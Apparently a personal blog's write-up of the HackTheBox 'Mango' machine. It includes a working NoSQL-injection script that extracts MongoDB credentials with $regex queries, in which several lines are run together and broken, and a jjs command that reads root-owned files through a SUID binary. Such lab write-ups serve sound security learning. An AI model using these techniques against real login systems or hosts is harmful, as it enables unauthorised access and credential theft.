Ajdin's blog Tags Github RSS

HackTheBox Mango Write Up

18 Apr 2020


Let’s run nmap,

sudo nmap -sV -sC -O -oA nmap/initial


We have to use https for this website on port 80, and we can get this “search page”. We can see some kind of analytics page in the top right corner.



Getting user account

I checked the /robots.txt, also ran gobuster, nothing useful there. The SSL certificate wasn’t valid so I took a look a there and we have a page reference: staging-order.mango.htb


The page is inaccessible, but we can use the /etc/hosts file to redirect the page back to the server itself. You could also change the headers of the https request and change the host value to “staging-order.mango.htb”.

We have multiple server running on the same machine and port (Vhost - virtual hosts) so that is why when we change the host value, we access a “different” server.

Now I added the line to /etc/hosts so the hostname is translated to the correct IP address.


NoSQL injection

Now we have a login page here, I spent around 4 hours here as this wasn’t something I had experience with. We have to perform an authentication bypass.


The login is handeld by MongoDB in the background. How do I know this? The full nmap scan has recognized a MongoDB instance. MondoDB is a NoSQL database, unlike PostgreSQL, which is an SQL database. We need to perform a NoSQL injection attack.

I opened the network tab in Firefox and tried to login with “admin” and “test”. This will send a POST request. We can open it and see the request body.



Edit the request:





This will trick Mongo to check if the password doesn’t match and if it doesn’t it will let me in.



Bruteforcing the password

We can’t do anything from the webpage so I tried to brute-force the password. Here I have found a nice script. It uses regular expressions to try to match the password. The code is fairly simple so I won’t be explaining that.

You should change the cookie ID.

import requests
import stringurl = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        breakif c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
    return usernamesfor u in get_usernames():

This will run for some time, the output is:



I couldn’t SSH into admin but I could SSH into mango, switch user to admin and cat user.txt.


Getting root account

First, I switch from sh to bash by running /bin/bash.

I transfered linenum.sh on the server and checked the output. There was an interesting file with SUID bit set to 1:


Privilege escalation with JJS

This is usually used for privilege escalation, so when you run jjs you get some sort of shell, let’s check GTFOBin if we can escape. There is a file read exploit so I’ll use that (note: you have to change the file name and remove the “newline symbols” ):

echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); while ((line = br.readLine()) != null) { print(line); }' | jjs


Thanks for reading! Make sure to follow me on Twitter @ajdintrejic.

mongodb jjs